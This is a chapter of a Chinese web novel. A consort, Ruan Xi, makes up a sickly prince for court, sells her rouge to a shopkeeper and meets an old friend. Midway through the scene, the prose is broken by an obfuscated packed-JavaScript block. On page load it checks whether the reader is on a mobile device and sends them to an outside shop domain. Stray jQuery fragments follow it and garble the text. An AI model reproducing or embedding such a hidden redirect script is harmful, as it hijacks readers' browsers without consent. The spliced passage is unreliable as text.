檐下残灯漫过花窗,在青砖地上投下疏淡剪影。

    屋内静得只剩衣料轻蹭的微响。

    阮析倾着身子,指尖悬在他眉骨上方,气息轻扫过额前碎发,裹着一点淡软的胭脂香,缠缠绵绵蹭过鼻尖。

    “别动。”她放轻了声音。

    谢清辞下颌线绷直,手指不自觉地拨着佛珠。

    长睫垂落掩住眸底情绪,声线沉得发紧,“重了。”

    “我轻些。”阮析语气软了几分,指尖收了收力道,连呼吸都放得更缓,“很快就好。”

    谢清辞浑身僵硬,手指死死地捏紧佛珠。

    他本该立刻抬手推开,可鼻尖萦绕着那缕淡香,耳畔是她匀细的呼吸,竟鬼使神差地没动,任由她指尖起落。

    待最后一笔收齐,阮析才直起身退开半步,取过案上菱花铜镜递到他面前,“王爷您看。”

    谢清辞抬眼望向镜中。

    他对着菱花镜微蹙着眉,目光在镜中停了许久。

    往日褪不尽的苍白病色被遮得妥帖干净,眼周泛青色尽散,倒有几分当年征战沙场的冷锐意气。

    似是不太习惯这般模样,他静了半晌才收回视线,末了只低哼了声,“勉强入眼。”

    “那是自然。”阮析眉眼弯了弯,探向案上那盒桃色胭脂膏,“还差最后一步,补点血色才更精神。”

    谢清辞一眼瞥见那盒嫣红膏体,眉又蹙了起来,身体下意识往后撤了寸许,“艳俗脂粉,不伦不类。”

    “这不是涂脂抹粉,只是遮掩病气。”阮析拿着粉扑站在原地,慢条斯理地跟他掰扯。

    “只是在颧骨处轻轻带一层,旁人近前都瞧不出来。要真的顶着白面的脸走出去,反倒更有失体面。”

    眼看着她又要凑过来,谢清辞猛地起身退了半步,“不必。”

    阮析慢悠悠收回手,抱着胳膊看他,“行啊,不涂也行。就是您这眉毛刚补了左半边,右边还虚着,这会儿出去,指不定闹笑话呢。”

    谢清辞动作一顿,显然信了几分,伸手,“镜子拿来本王看看。”

    “王爷别急,我给您补完就是了。”阮析眼疾手快把胭脂盒往后一放,顺手拿起了一支螺子黛,冲他晃了晃,“就补眉,旁的不动。”

    谢清辞将信将疑坐回去,重新阖上眼,下颌线绷得紧紧的,一副任人摆布的模样。

    阮析憋着笑,指尖沾了一点肉-色口脂,用指腹揉开,趁他凝神屏息的间隙,飞快在他两侧颧骨上轻轻点了两下,再快速晕开。

    触感轻得像羽毛拂过,谢清辞却瞬间僵住,猛地睁开眼,眸底还带着没反应过来的错愕,随机沉了脸,“阮析!”

    那点淡粉融在冷白皮肤里,像从皮肉里透出来的薄红,衬得他周身的冷硬都软了几分。

    偏他本人还沉着脸,一副又气又无从发作的别扭模样。

    阮析抿着唇别开脸,肩膀微微发颤,终究是没忍住,漏出几声低笑。

    她抬起袖口轻轻按了按眼角,软着声音讨饶:“好了好了不笑了……真的不难看,旁人只会当您走得急,热出来的气色。”

    门外忽然传来墨风压低的声音,连唤了两声:“王爷,时辰快到了,该入宫了。”

    谢清辞这才回过神,下意识便要抬手去擦脸颊。

    “别擦!”阮析连忙按住他的手腕,拿起干净粉扑轻轻在他脸颊压了压,把那点红压得更淡更自然,“这样就正好了,没人看得出来。”

    他皱着眉又瞥了眼镜子,终究是没时间再折腾,整了整朝服冠带快步往外走。

    垂在身侧的指节微微蜷起,腕间还留着她指尖碰过的温度,淡得像那缕若有似无的甜香,挥之不去。

    阮析立在原地,看着他的身影消失在回廊尽头,忍不住弯了弯嘴角。

    眼下两人虽算是达成了表面的平和,她也顺理成章住回了王府正院,可谢清辞却极少回府,常年宿在皇城根下的别院。

    旁人建别院是为了避暑闲居,他倒好,专挑离宫门最近的地界置产,恨不得把来回路上的时间都省下来理政。

    天底下还有这般爱上班的人,果真是个异于常人的疯子。

    今日这试妆的主意,便是前几日在寺中商定的法子。

    先掩去面上的病气,免得朝中老臣借题发挥,总拿他的怪病做文章。

    谢清辞起初极不认可,在别院磨磨蹭蹭挨到寅中才到府上,留给她上妆的时间实在仓促。

    好在她昨夜赶制出了几样用得顺手的脂粉膏黛,上妆到也算利落。

    想到这里,阮析收拾妥当案上的瓷盒,转头唤来侍女桃临,“我出去一趟,晚些便回。你留在府中好生照看,不必跟着伺-候。”

    桃临毕竟是太后赐的,出去办事还是要避着点她。

    原主是喜欢花天酒地的人,桃临以为她又要出去风-流了,上前一步躬身劝道:“王妃也该顾着些名声。真闹出什么闲话来,不单失了王府体面,连太后的脸面也不好看。”

    阮析转头,“你是太后娘娘赐来我身边伺-候的宫女?”

    桃临愣了一下,没摸准她的意思,“……是。”

    阮析:“既如此,我是主,你是奴,哪有奴婢规训主子的道理?守好你的本分。”

    说罢,便拎起包袱,掀帘走了出去

    半个时辰后,阮析站在了东市最热闹的街口。

    长街两侧商铺林立,叫卖声、谈笑声此起彼伏,烟火气扑面而来,与那沉闷的王府简直是两个世界。

    阮析深呼吸了一口,觉得浑身的毛孔都舒展开了。

    她沿着东市慢慢走了一圈,最后脚步停在街尾最偏僻的拐角处。

    这里藏着一家“晚香阁”,门面窄小,招牌灰扑扑的,门口连个招揽客人的伙计都没有,冷清得和整条街格格不入。

    阮析抬脚走了进去。

    店里只有一个五十来岁的老掌柜,正趴在柜台上打盹,听见脚步声才懒洋洋地抬眼。

    扫了眼她一身素净衣裙,便没了起身的兴致,只随意摆了摆手,“姑娘随便看。”

    阮析也不恼,走到柜台前解开随身的布包,取出一盒胭脂放在台面上。

    “我不是来买货的,是来给掌柜送一桩生意。”

    老掌柜愣了楞,将信将疑地拿起胭脂盒,掀开盖子的瞬间,一股清雅的兰花香散开。

    凑近了仔细端详,胭脂的色泽匀净柔和,像春日桃花瓣尖上那一抹极淡的粉,在阳光下竟泛着一层细碎的珠光。

    他卖了大半辈子胭脂,从江北到京城,从没见过这种成色的货,语气瞬间郑重了几分,“敢问姑娘,打算怎么卖?”

    阮析指尖轻轻扣了扣柜台,“十两银一盒。”

    “多少?!”老掌柜拿着胭脂的手一抖,差点没拿稳,“十两?姑娘莫不是说笑!”

    他抬手指向柜台前最显眼处摆着的一套妆奁,“我上月刚从云苏郡淘来的一整套乌木嵌螺钿的梳篦,全京城都数得出的好东西,也才卖十二两,你这小小一盒胭脂,怎敢要这个价?”

    阮析没急着辩,只取了一点胭脂,均匀抹在自己手背上,对着门外的天光缓缓转动手腕。

    “掌柜请看。这胭脂能随光线变深浅,您做了大半辈子脂粉生意,可曾见过第二盒能做到这般的?”

    老掌柜盯着她的手背,眼睛都直了,嘴里喃喃道:“奇了……真是奇了……”

    他咽了咽口水,换了个站姿,“东西是好东西,可十两实在太高。姑娘你有多少货?能不能让些利?”

    阮析将胭脂盒轻轻合上,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861570|212022||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “我今日就带了数十盒,专门寻能接下独家生意的铺子。好东西值不值这个价,掌柜心里比我清楚。”

    她抬眼望向隔壁人来人往的绣品铺,拿着胭脂在手里转了转。

    “再者,我方才一路走过来,特意瞧了瞧。您这铺子守着街尾,对面绣庄的女眷们买完绣品,本是顺路的客源,可您这铺子缺一样能把人勾进来的稀罕物。”

    她转回头,对上老掌柜的目光,笑容淡淡的。

    “我这胭脂,就是给您送来的活招牌。”

    阮析看出他在犹豫,也不催,将胭脂收回布包里,作势欲走。

    “我是瞧您这铺子底子好,只是缺个爆款才先来问您。

    您若觉得不妥,我便去街对面的如意坊问问。到时候他们有了这独一份的新货,整条街的姑娘小姐都往那边跑,掌柜可别觉得可惜。”

    这话正好戳中了王掌柜的痛处。

    他看着自家冷冷清清的铺面,又看着阮析手上的胭脂,咬了咬牙,猛地一拍柜台。

    “好!十两就十两!但你得答应我,这胭脂往后只能供给我晚香阁一家,绝不能再给别家!”

    “掌柜爽快。”阮析笑着把布袋里的胭脂推过去,“首批我先给您供十八盒,试试水,独家供货的契书下次一并带来。”

    老掌柜立刻从钱匣子里数出些两银票递过来,将这些胭脂仔细收好。

    阮析接过,折好收进贴身的袖袋里,便向王掌柜福了福身,转身出了晚香阁。

    日头渐渐西斜,东市的人流却不见少。

    阮析沿着街慢慢逛,又摸了摸其他几家铺子的定价与品类,心里的算盘打得愈发清楚。

    路过酒肆时,顺手买了两罐桂花陈酿,想着夜里回了院子慢慢喝,也让自己痛痛快快放肆一回。

    走到街心最繁华的地段,一座雕梁画栋的望江楼立在眼前,不似寻常茶楼的古朴,反倒装点得富丽堂皇,丝竹之声隐隐从楼里飘出来。

    阮析正多看了两眼,一道亮堂的声音猛地从旁边炸了起来,“阿析!”

    她循声望去,就见个一身石榴红撒花罗裙的姑娘快步走来,满头珠翠随着脚步叮当作响,明艳得像一只火红鹦鹉。

    火红鹦鹉一把攥住她的手,眼神亮晶晶,“真是你!我远远看着像,还不敢认!这几日没见你出门,是不是被府里那只红眼疯狗欺负了?”

    阮析被她晃得一愣,自从穿进来,很久没见过作风如此跳脱的女子了,她打量着眼前的女子,“请问你是?”

    “我是裴声声啊,你怎么了?关了几天脑子坏了?”

    原来是裴家二姑娘裴声声。

    书里她是原主泡戏楼、追伶人的搭子,两人脾性对味,整日凑一处厮混。后来原主一门心思扑在顾蕴川身上,裴声声还念叨了好几回,直说少了个搭伴寻乐的花蝴蝶。

    原书中对她的着墨不多,原主落难后便渐渐没了音讯,瞧着倒是个真相待原主的。

    阮析瞧着她这副跳脱直爽的模样,心里暗自打定主意装糊涂,毕竟她可以说是这个世界上最熟悉原主的人了。

    “这位姑娘看着面善,只是我前些日子身子不妥,好些事记不太清了……。”

    “失忆?!”裴声声嗓门一下提了起来,随即又压低声音,一脸心疼地拉住她,“定是那疯狗给你气的!走走走,我们上楼说去。”

    说着便风风火火地拉着阮析往望江楼里走,一边走一边冲门口的小厮扬声吩咐:“给我留个临窗的大包间,把前日新来的那两个小旦叫上来唱两段,要好茶好点心伺-候着!”

    脆生生的嗓音顺着雕花栏杆卷上二楼,撞在半开的雅间门框上。

    谢清辞指尖正点在舆图上南涧的溃口处,被这声音吵得眉峰一蹙,下意识侧目往楼下望去。